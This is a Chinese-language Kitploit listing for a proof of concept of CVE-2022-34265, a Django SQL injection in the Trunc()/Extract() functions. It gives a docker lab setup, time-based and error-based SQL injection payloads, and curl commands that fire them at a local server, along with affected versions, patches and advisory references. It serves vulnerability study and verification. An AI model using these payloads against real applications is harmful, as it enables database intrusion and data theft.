Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-34265 — CVE-2022-34265 的概念验证 | Kitploit
工具/GitHubGitHub/zhaoqi99/cve-2022-34265
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试数据库安全
GitHubzhaoqi99/cve-2022-34265

CVE-2022-34265

CVE-2022-34265 的概念验证

查看仓库
424年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-34265

CVE-2022-34265 的 PoC


描述

在 Django 3.2(3.2.14 之前)和 4.0(4.0.6 之前)版本中发现了一个问题。如果将不受信任的数据用作 kind/lookup_name 值,Trunc() 和 Extract() 数据库函数会受到 SQL 注入的影响。将查找名称和种类选择限制在已知安全列表内的应用程序不受影响。

使用方法

启动

root@kitploit:~
git clone https://github.com/ZhaoQi99/CVE-2022-34265.git
cd CVE-2022-34265
docker-compose up -d

移除

root@kitploit:~
docker-compose down

受影响版本

  • Django >= 3.2, < 3.2.14

  • Django >= 4.0, < 4.0.6

已修补版本

  • Django 3.2.14

  • Django 4.0.6

验证

环境

  • Django 4.0.5
  • Python 3.8.13
  • MySQL 5.7

有效载荷

  • YEAR FROM start_time)) ;select sleep(5)--

  • YEAR FROM start_time)) and updatexml(1,concat(1,(select name from TEST limit 1),1),1)--

PoC

root@kitploit:~
curl "http://127.0.0.1:8000/extract/?lookup_name=YEAR%20FROM%20start_time))%20%3Bselect%20sleep(5)--"
curl "http://127.0.0.1:8000/extract/?lookup_name=YEAR%20FROM%20start_time))%20and%20updatexml(1%2Cconcat(1%2C(select%20name%20from%20TEST%20limit%201)%2C1)%2C1)--"

PS:在不同的数据库情况下,漏洞的存在情况有所不同。在 MYSQL 数据库后端,Trunc 函数不存在该漏洞。

参考

  • 报告者:TAKUTO YOSHIKAI(使用 PostgreSQL)

  • django/django@877c800

  • django/django@5e2f4dd

  • https://github.com/advisories/GHSA-p64x-8rxx-wf6q

  • CVE-2022-34265 Django SQL 注入漏洞调试分析 - 先知社区

下载工具